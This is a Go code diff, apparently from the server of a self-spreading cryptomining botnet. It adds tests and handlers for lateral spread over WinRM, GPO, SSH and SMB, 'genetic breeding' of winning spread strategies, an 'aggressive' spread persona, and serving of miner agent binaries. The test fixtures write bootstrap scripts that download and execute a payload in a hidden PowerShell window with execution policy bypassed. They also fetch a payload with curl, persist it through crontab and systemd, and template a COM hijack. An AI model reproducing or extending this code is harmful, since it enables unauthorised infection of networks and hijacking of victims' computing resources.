pathTracer.mu.Lock()
|
||||
pathTracer.sessions[sess.ID] = sess
|
||||
pathTracer.mu.Unlock()
|
||||
|
||||
req := deployPlanRequest{AgentID: patientID, Platform: "windows", BuildID: "b1"}
|
||||
hint := deployH.recommendSpreadRoute(req, "do_peer")
|
||||
if hint == nil {
|
||||
t.Fatal("expected spread_route_hint recommendation")
|
||||
}
|
||||
if hint.TargetSubnet != "10.9.8" {
|
||||
t.Fatalf("subnet=%q want 10.9.8 (from service graph discovery)", hint.TargetSubnet)
|
||||
}
|
||||
if hint.SeedAgentID == "" {
|
||||
t.Fatal("expected routed seed agent")
|
||||
}
|
||||
if hint.SeedAgentID == patientID {
|
||||
t.Fatalf("expected routed egress not patient zero, got %q", hint.SeedAgentID)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -155,3 +155,167 @@ func TestPhenotypeAPIListByFingerprint(t *testing.T) {
|
||||
t.Fatalf("unexpected response: %+v", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGeneticBreedOnSiblingAuth(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.SetFleetSecret("test-secret")
|
||||
|
||||
winnerA := "agent-winner-a"
|
||||
winnerB := "agent-winner-b"
|
||||
siblingID := "agent-sibling-c"
|
||||
for _, ag := range []*models.Agent{
|
||||
{ID: winnerA, Name: "worker-07", Wallet: "4" + repeatChar('A', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
|
||||
{ID: winnerB, Name: "worker-12", Wallet: "4" + repeatChar('B', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
|
||||
{ID: siblingID, Name: "worker-99", Wallet: "4" + repeatChar('C', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
|
||||
} {
|
||||
if err := database.UpsertAgent(ag); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
attempts := []struct {
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
}{
|
||||
{Tier: "container", OK: true},
|
||||
{Tier: "docker", OK: false},
|
||||
{Tier: "wsl", OK: true},
|
||||
}
|
||||
hub.tryPublishWinningPhenotype(
|
||||
winnerA, "windows", "127.0.0.1", nil, attempts,
|
||||
900.0, "wsl", "winrm",
|
||||
[]string{"container", "wsl", "cpu_inprocess"},
|
||||
)
|
||||
hub.tryPublishWinningPhenotype(
|
||||
winnerB, "windows", "127.0.0.1", nil, attempts,
|
||||
700.0, "ps_inmemory", "docker",
|
||||
[]string{"wsl", "container", "ps_inmemory"},
|
||||
)
|
||||
|
||||
fp := strategy.FingerprintFromAuth("windows", "127.0.0.1", false).Key()
|
||||
if hub.breedingRegistry.LaneCount(fp) != 2 {
|
||||
t.Fatalf("expected 2 lane winners, got %d", hub.breedingRegistry.LaneCount(fp))
|
||||
}
|
||||
if _, ok := hub.breedingRegistry.GetBred(fp); !ok {
|
||||
t.Fatal("expected bred phenotype in registry")
|
||||
}
|
||||
|
||||
if _, err := database.Exec(`DELETE FROM fleet_phenotypes WHERE fingerprint = ?`, fp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
conn, _ := dialAgentWS(t, hub)
|
||||
resp := authAgentConn(t, conn, map[string]interface{}{
|
||||
"agent_id": siblingID, "fleet_secret": "test-secret",
|
||||
"wallet": "4" + repeatChar('C', 94), "hostname": "win-sibling", "platform": "windows", "version": "test",
|
||||
})
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(resp.Payload, &payload); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
raw, ok := payload["inherited_phenotype"]
|
||||
if !ok {
|
||||
t.Fatal("expected inherited_phenotype from genetic breed")
|
||||
}
|
||||
if _, hasAdaptive := payload["adaptive_strategy"]; hasAdaptive {
|
||||
t.Fatal("genetic breed should override adaptive strategy")
|
||||
}
|
||||
data, _ := json.Marshal(raw)
|
||||
var inherited struct {
|
||||
SourceAgentName string `json:"source_agent_name"`
|
||||
TierOrder []string `json:"tier_order"`
|
||||
GeneticBreed bool `json:"genetic_breed"`
|
||||
ParentLanes []string `json:"parent_lanes"`
|
||||
}
|
||||
if err := json.Unmarshal(data, &inherited); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !inherited.GeneticBreed {
|
||||
t.Fatalf("expected genetic_breed=true, got %+v", inherited)
|
||||
}
|
||||
if len(inherited.ParentLanes) != 2 {
|
||||
t.Fatalf("parent_lanes = %v", inherited.ParentLanes)
|
||||
}
|
||||
if len(inherited.TierOrder) == 0 {
|
||||
t.Fatalf("empty bred tier_order: %+v", inherited)
|
||||
}
|
||||
if inherited.SourceAgentName == "" || inherited.SourceAgentName == "worker-07" {
|
||||
t.Fatalf("expected genetic source name, got %q", inherited.SourceAgentName)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInheritedPhenotypePrecedenceOverGeneticBreed(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.SetFleetSecret("test-secret")
|
||||
|
||||
winnerA := "agent-winner-a"
|
||||
winnerB := "agent-winner-b"
|
||||
siblingID := "agent-sibling-c"
|
||||
for _, ag := range []*models.Agent{
|
||||
{ID: winnerA, Name: "worker-07", Wallet: "4" + repeatChar('A', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
|
||||
{ID: winnerB, Name: "worker-12", Wallet: "4" + repeatChar('B', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
|
||||
{ID: siblingID, Name: "worker-99", Wallet: "4" + repeatChar('C', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
|
||||
} {
|
||||
if err := database.UpsertAgent(ag); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
hub.tryPublishWinningPhenotype(
|
||||
winnerA, "windows", "127.0.0.1", nil, nil,
|
||||
900.0, "wsl", "winrm",
|
||||
[]string{"container", "wsl", "cpu_inprocess"},
|
||||
)
|
||||
hub.tryPublishWinningPhenotype(
|
||||
winnerB, "windows", "127.0.0.1", nil, nil,
|
||||
700.0, "ps_inmemory", "docker",
|
||||
[]string{"wsl", "container", "ps_inmemory"},
|
||||
)
|
||||
|
||||
conn, _ := dialAgentWS(t, hub)
|
||||
resp := authAgentConn(t, conn, map[string]interface{}{
|
||||
"agent_id": siblingID, "fleet_secret": "test-secret",
|
||||
"wallet": "4" + repeatChar('C', 94), "hostname": "win-sibling", "platform": "windows", "version": "test",
|
||||
})
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(resp.Payload, &payload); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
raw, ok := payload["inherited_phenotype"]
|
||||
if !ok {
|
||||
t.Fatal("expected inherited_phenotype")
|
||||
}
|
||||
data, _ := json.Marshal(raw)
|
||||
var inherited struct {
|
||||
SourceAgentName string `json:"source_agent_name"`
|
||||
GeneticBreed bool `json:"genetic_breed"`
|
||||
SpreadLane string `json:"spread_lane"`
|
||||
}
|
||||
if err := json.Unmarshal(data, &inherited); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if inherited.GeneticBreed {
|
||||
t.Fatal("stored fleet winner should beat genetic breed")
|
||||
}
|
||||
if inherited.SourceAgentName != "worker-07" {
|
||||
t.Fatalf("source = %q, want worker-07", inherited.SourceAgentName)
|
||||
}
|
||||
if inherited.SpreadLane != "winrm" {
|
||||
t.Fatalf("spread_lane = %q", inherited.SpreadLane)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -720,6 +720,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
if pathTracerHandler != nil {
|
||||
r.Post("/pathtrace/start", pathTracerHandler.Start)
|
||||
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
|
||||
r.Post("/pathtrace/spread-route", pathTracerHandler.SpreadRoute)
|
||||
r.Post("/pathtrace/spread", pathTracerHandler.Spread)
|
||||
r.Get("/pathtrace/{id}/status", pathTracerHandler.Status)
|
||||
r.Get("/pathtrace/{id}/qr", pathTracerHandler.QR)
|
||||
@@ -825,6 +826,46 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
return r
|
||||
}
|
||||
|
||||
// agentBinaryCandidates returns search paths and the Content-Disposition filename
|
||||
// for SUPP Seek agent downloads. dir is typically the directory containing the
|
||||
// running server executable (USB bundle root or dev build output).
|
||||
func agentBinaryCandidates(platform, dir string) (candidates []string, dlName string) {
|
||||
switch platform {
|
||||
case "windows":
|
||||
dlName = "crypto-miner-agent.exe"
|
||||
candidates = []string{
|
||||
filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
|
||||
filepath.Join(dir, "crypto-miner-agent.exe"),
|
||||
}
|
||||
case "mac":
|
||||
dlName = "crypto-miner-agent"
|
||||
candidates = []string{
|
||||
filepath.Join(dir, "agent", "crypto-miner-agent-darwin"),
|
||||
filepath.Join(dir, "crypto-miner-agent-darwin"),
|
||||
filepath.Join(dir, "agent", "crypto-miner-agent"),
|
||||
}
|
||||
case "linux":
|
||||
dlName = "crypto-miner-agent"
|
||||
candidates = []string{
|
||||
filepath.Join(dir, "agent", "crypto-miner-agent-linux"),
|
||||
filepath.Join(dir, "crypto-miner-agent-linux"),
|
||||
filepath.Join(dir, "agent", "crypto-miner-agent"),
|
||||
}
|
||||
}
|
||||
return candidates, dlName
|
||||
}
|
||||
|
||||
// findAgentBinary locates the first existing candidate under dir.
|
||||
func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) {
|
||||
candidates, dlName := agentBinaryCandidates(platform, dir)
|
||||
for _, c := range candidates {
|
||||
if _, err := os.Stat(c); err == nil {
|
||||
return c, dlName, true
|
||||
}
|
||||
}
|
||||
return "", dlName, false
|
||||
}
|
||||
|
||||
// serveAgentBinary returns an HTTP handler that streams the agent binary for
|
||||
// the requested platform. It looks for the binary next to the running server
|
||||
// exe so it works both from the USB bundle and from a compiled dev build.
|
||||
@@ -832,55 +873,29 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
// Filename convention (same as what the build pipeline produces):
|
||||
// - windows → crypto-miner-agent.exe
|
||||
// - mac/linux → crypto-miner-agent (no extension)
|
||||
// agentBinarySearchDir returns the directory used to locate bundled agent binaries.
|
||||
// Tests may override this to point at a temp tree instead of os.Executable()'s dir.
|
||||
var agentBinarySearchDir = func() (string, error) {
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Dir(exe), nil
|
||||
}
|
||||
|
||||
func serveAgentBinary(platform string) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
exe, err := os.Executable()
|
||||
dir, err := agentBinarySearchDir()
|
||||
if err != nil {
|
||||
http.Error(w, "server exe not found", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
dir := filepath.Dir(exe)
|
||||
|
||||
var candidates []string
|
||||
var dlName string
|
||||
|
||||
switch platform {
|
||||
case "windows":
|
||||
dlName = "crypto-miner-agent.exe"
|
||||
candidates = []string{
|
||||
filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
|
||||
filepath.Join(dir, "crypto-miner-agent.exe"),
|
||||
}
|
||||
case "mac":
|
||||
dlName = "crypto-miner-agent"
|
||||
candidates = []string{
|
||||
filepath.Join(dir, "agent", "crypto-miner-agent-darwin"),
|
||||
filepath.Join(dir, "crypto-miner-agent-darwin"),
|
||||
filepath.Join(dir, "agent", "crypto-miner-agent"),
|
||||
}
|
||||
case "linux":
|
||||
dlName = "crypto-miner-agent"
|
||||
candidates = []string{
|
||||
filepath.Join(dir, "agent", "crypto-miner-agent-linux"),
|
||||
filepath.Join(dir, "crypto-miner-agent-linux"),
|
||||
filepath.Join(dir, "agent", "crypto-miner-agent"),
|
||||
}
|
||||
}
|
||||
|
||||
var binPath string
|
||||
for _, c := range candidates {
|
||||
if _, err := os.Stat(c); err == nil {
|
||||
binPath = c
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if binPath == "" {
|
||||
binPath, dlName, ok := findAgentBinary(platform, dir)
|
||||
if !ok {
|
||||
log.Printf("[supp] agent binary not found for platform=%s (looked in %s)", platform, dir)
|
||||
http.Error(w, "agent binary not available for "+platform, http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="`+dlName+`"`)
|
||||
http.ServeFile(w, r, binPath)
|
||||
|
||||
79
server/internal/api/scout_phenotype_test.go
Normal file
79
server/internal/api/scout_phenotype_test.go
Normal file
@@ -0,0 +1,79 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
func TestPublishScoutPhenotypeFromReport(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
scoutID := "apk-scout-1"
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: scoutID, Name: "tablet-scout", Platform: "android", Status: "online",
|
||||
IP: "127.0.0.1", LastSeen: time.Now(),
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
hub.tryPublishScoutPhenotype(scoutID, "android", "127.0.0.1", nil, "docker", 5)
|
||||
|
||||
fp := strategy.FingerprintFromAuth("android", "127.0.0.1", false)
|
||||
pheno, err := database.GetFleetPhenotypeByFingerprint(fp.Key())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if pheno.SpreadLane != "docker" {
|
||||
t.Fatalf("spread_lane=%q", pheno.SpreadLane)
|
||||
}
|
||||
if pheno.PeakHashrate != 0 {
|
||||
t.Fatalf("scout phenotype should not require hashrate, got %v", pheno.PeakHashrate)
|
||||
}
|
||||
if len(pheno.TierOrder) < 2 {
|
||||
t.Fatalf("tier_order=%v", pheno.TierOrder)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthResponseSpreadTemperamentPersona(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.SetFleetSecret("test-secret")
|
||||
hub.SetServerPolicy(ServerPolicy{AIControlEnabled: true, AIPersona: "aggressive"})
|
||||
|
||||
conn, _ := dialAgentWS(t, hub)
|
||||
resp := authAgentConn(t, conn, map[string]interface{}{
|
||||
"agent_id": "agent-scout-policy", "fleet_secret": "test-secret",
|
||||
"wallet": "4" + repeatChar('C', 94), "hostname": "win-host", "platform": "windows", "version": "test",
|
||||
})
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(resp.Payload, &payload); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
raw, ok := payload["spread_temperament"]
|
||||
if !ok {
|
||||
t.Fatal("missing spread_temperament")
|
||||
}
|
||||
data, _ := json.Marshal(raw)
|
||||
var temperament strategy.AdaptiveStrategy
|
||||
if err := json.Unmarshal(data, &temperament); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(temperament.TierOrder) == 0 || temperament.TierOrder[2] != "smb" {
|
||||
t.Fatalf("aggressive spread temperament = %v", temperament.TierOrder)
|
||||
}
|
||||
}
|
||||
@@ -15,6 +15,15 @@ type ServerPolicy struct {
|
||||
TripleOnionPolicy TripleOnionPolicy
|
||||
// AIControlEnabled replaces adaptive_strategy when true (Fleet AI Control).
|
||||
AIControlEnabled bool
|
||||
// AIPersona selects Fleet AI spread propagation temperament (aggressive/silent/…).
|
||||
AIPersona string
|
||||
// AtlasLanGossipEnabled relays atlas skip hints between agents on the same /24.
|
||||
AtlasLanGossipEnabled bool
|
||||
// FleetRolesEnabled pushes seeder/miner hints on auth and tracks LAN seeders.
|
||||
FleetRolesEnabled bool
|
||||
// HashrateGateSpreadMin is minutes of stable mining above HashrateGateHPS before autospread.
|
||||
HashrateGateSpreadMin int
|
||||
HashrateGateHPS float64
|
||||
}
|
||||
|
||||
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.
|
||||
|
||||
@@ -86,6 +86,33 @@ func TestNormalizeJoinLaneAliases(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickDeployLaneGPO(t *testing.T) {
|
||||
allowlist := NormalizeServiceDeployAllowlist(nil)
|
||||
services := []DeployServiceFinding{{Name: "gpsvc", Status: "running"}}
|
||||
matched, lane, ok := PickDeployLane(services, allowlist)
|
||||
if !ok || matched != "gpsvc" || lane.Lane != "gpo" || lane.Template != "gpo" {
|
||||
t.Fatalf("matched=%q lane=%+v", matched, lane)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickDeployLaneWinRM(t *testing.T) {
|
||||
allowlist := NormalizeServiceDeployAllowlist(nil)
|
||||
services := []DeployServiceFinding{{Name: "WinRM", Status: "running"}}
|
||||
matched, lane, ok := PickDeployLane(services, allowlist)
|
||||
if !ok || matched != "WinRM" || lane.Lane != "winrm" || lane.Template != "winrm" {
|
||||
t.Fatalf("matched=%q lane=%+v", matched, lane)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickDeployLaneLinuxLOTL(t *testing.T) {
|
||||
allowlist := NormalizeServiceDeployAllowlist(nil)
|
||||
services := []DeployServiceFinding{{Name: "sshd", Status: "active"}}
|
||||
matched, lane, ok := PickDeployLane(services, allowlist)
|
||||
if !ok || matched != "sshd" || lane.Lane != "linux_lotl" || lane.Template != "linux-lotl" {
|
||||
t.Fatalf("matched=%q lane=%+v", matched, lane)
|
||||
}
|
||||
}
|
||||
|
||||
func TestVerifyDeployPlanSignature(t *testing.T) {
|
||||
plan := DeployPlanBody{JoinLane: "bits_curl", Action: "bits_curl"}
|
||||
sig, err := signDeployPlan(plan, "test-secret")
|
||||
|
||||
@@ -2,9 +2,11 @@ package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"log"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/atlas"
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
@@ -194,5 +196,14 @@ func (h *SpreadCredHandler) ReportEdge(w http.ResponseWriter, r *http.Request) {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if !req.Success {
|
||||
target := req.Subnet
|
||||
if target == "" {
|
||||
target = req.Host
|
||||
}
|
||||
if paused, recErr := h.db.RecordSubnetSpreadFailure(target); recErr == nil && paused {
|
||||
log.Printf("[subnet-immune] spread paused for prefix %q after %d failures", atlas.PrefixFromHostOrIP(target), atlas.SubnetSpreadFailureThreshold)
|
||||
}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"ok": true})
|
||||
}
|
||||
|
||||
@@ -49,7 +49,14 @@ func writeSpreadTemplates(t *testing.T, root string) {
|
||||
if err := os.MkdirAll(winrmDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte("{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}} COM={{COM_HIJACK}}"), 0644); err != nil {
|
||||
winrmScript := `# WinRM bootstrap
|
||||
Enable-PSRemoting -Force -SkipNetworkProfileCheck
|
||||
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
|
||||
Start-Process -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
|
||||
powershell.exe -EncodedCommand $encoded
|
||||
COM={{COM_HIJACK}}
|
||||
`
|
||||
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(winrmScript), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -57,7 +64,13 @@ func writeSpreadTemplates(t *testing.T, root string) {
|
||||
if err := os.MkdirAll(linuxDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte("#!/bin/sh\n# {{LOTL_MODE}} {{SERVER_URL}}\n"), 0755); err != nil {
|
||||
linuxScript := `#!/bin/sh
|
||||
LOTL_MODE='{{LOTL_MODE}}'
|
||||
curl -fsSL "{{SERVER_URL}}/get?os=linux{{QUERY_SUFFIX}}"
|
||||
systemd-run --user --unit=aetherforge-worker.service
|
||||
persist_crontab() { crontab -; }
|
||||
`
|
||||
if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte(linuxScript), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -65,7 +78,12 @@ func writeSpreadTemplates(t *testing.T, root string) {
|
||||
if err := os.MkdirAll(entDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte("{{SERVER_URL}}{{GET_QUERY_SUFFIX}}"), 0644); err != nil {
|
||||
gpoScript := `# GPO computer startup script
|
||||
$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}'
|
||||
$env:AETHER_DEFER_MINING = '1'
|
||||
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex"
|
||||
`
|
||||
if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte(gpoScript), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
@@ -220,6 +238,137 @@ func TestExportSpreadTemplateRequiresTemplate(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestExportSpreadTemplateGPO(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeSpreadTemplates(t, root)
|
||||
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
||||
|
||||
body, _ := json.Marshal(map[string]string{
|
||||
"template": "gpo",
|
||||
"server_url": "https://deck.example",
|
||||
"build_id": "pin-gpo",
|
||||
"campaign": "domain-wave",
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ExportSpreadTemplate(rec, req)
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if !strings.Contains(rec.Header().Get("Content-Disposition"), "aetherforge-gpo-startup.zip") {
|
||||
t.Fatalf("disposition %q", rec.Header().Get("Content-Disposition"))
|
||||
}
|
||||
entries := readZipEntries(t, rec.Body.Bytes())
|
||||
script := entries["gpo-startup.ps1"]
|
||||
for _, marker := range []string{
|
||||
"https://deck.example/install.ps1",
|
||||
"pin=pin-gpo",
|
||||
"c=domain-wave",
|
||||
"AETHER_DEFER_MINING",
|
||||
} {
|
||||
if !strings.Contains(script, marker) {
|
||||
t.Fatalf("gpo script missing %q: %s", marker, script)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestExportSpreadTemplateLinuxLOTL(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeSpreadTemplates(t, root)
|
||||
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
||||
|
||||
body, _ := json.Marshal(map[string]string{
|
||||
"template": "linux-lotl",
|
||||
"server_url": "https://deck.example",
|
||||
"build_id": "pin-lnx",
|
||||
"campaign": "ssh-wave",
|
||||
"lotl_mode": "both",
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ExportSpreadTemplate(rec, req)
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
entries := readZipEntries(t, rec.Body.Bytes())
|
||||
script := entries["lotl-bootstrap.sh"]
|
||||
for _, marker := range []string{
|
||||
"https://deck.example/get?os=linux",
|
||||
"pin=pin-lnx",
|
||||
"LOTL_MODE='both'",
|
||||
"systemd-run --user",
|
||||
"crontab",
|
||||
} {
|
||||
if !strings.Contains(script, marker) {
|
||||
t.Fatalf("linux script missing %q: %s", marker, script)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSpreadTemplateRejectsUnknownLane(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeSpreadTemplates(t, root)
|
||||
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
||||
body, _ := json.Marshal(map[string]string{
|
||||
"template": "bogus-lane",
|
||||
"server_url": "https://deck.example",
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ExportSpreadTemplate(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("status %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestSpreadTemplateRequiresServerURL(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeSpreadTemplates(t, root)
|
||||
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
||||
body, _ := json.Marshal(map[string]string{"template": "winrm"})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ExportSpreadTemplate(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("status %d", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExportSpreadTemplateWinRMMarkers(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeSpreadTemplates(t, root)
|
||||
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
||||
|
||||
body, _ := json.Marshal(map[string]interface{}{
|
||||
"template": "winrm",
|
||||
"server_url": "https://deck.example",
|
||||
"build_id": "pin-wrm",
|
||||
"campaign": "winrm-lab",
|
||||
"com_hijack": true,
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ExportSpreadTemplate(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
entries := readZipEntries(t, rec.Body.Bytes())
|
||||
script := entries["bootstrap.ps1"]
|
||||
for _, marker := range []string{
|
||||
"Enable-PSRemoting",
|
||||
"https://deck.example/get?os=windows",
|
||||
"--spread-install",
|
||||
"--defer-mining",
|
||||
"COM=true",
|
||||
} {
|
||||
if !strings.Contains(script, marker) {
|
||||
t.Fatalf("winrm script missing %q: %s", marker, script)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestExportWordPressPluginRequiresSiteName(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeSpreadTemplates(t, root)
|
||||
|
||||
58
server/internal/api/spread_immunity.go
Normal file
58
server/internal/api/spread_immunity.go
Normal file
@@ -0,0 +1,58 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/atlas"
|
||||
)
|
||||
|
||||
var spreadCommandActions = map[string]bool{
|
||||
"discover_and_join": true,
|
||||
"spread_now": true,
|
||||
"stage_fetch": true,
|
||||
}
|
||||
|
||||
func isSpreadCommandAction(action string) bool {
|
||||
return spreadCommandActions[strings.TrimSpace(strings.ToLower(action))]
|
||||
}
|
||||
|
||||
func (h *WSHub) checkSubnetSpreadImmune(agentID, action string, args map[string]interface{}) error {
|
||||
if h == nil || h.subnetImmune == nil || !isSpreadCommandAction(action) {
|
||||
return nil
|
||||
}
|
||||
if h.db != nil && agentID != "" {
|
||||
if agent, err := h.db.GetAgent(agentID); err == nil && agent != nil && agent.IP != "" {
|
||||
if err := h.subnetImmune.SpreadActionBlocked(agent.IP); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
if args != nil {
|
||||
for _, key := range []string{"host", "subnet", "target"} {
|
||||
if raw, ok := args[key].(string); ok && strings.TrimSpace(raw) != "" {
|
||||
if err := h.subnetImmune.SpreadActionBlocked(raw); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// SetSubnetImmune wires subnet /24 spread pause tracking.
|
||||
func (h *WSHub) SetSubnetImmune(immune *atlas.SubnetImmune) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.mu.Lock()
|
||||
h.subnetImmune = immune
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func spreadImmuneBlockedMessage(err error) string {
|
||||
if err == nil {
|
||||
return ""
|
||||
}
|
||||
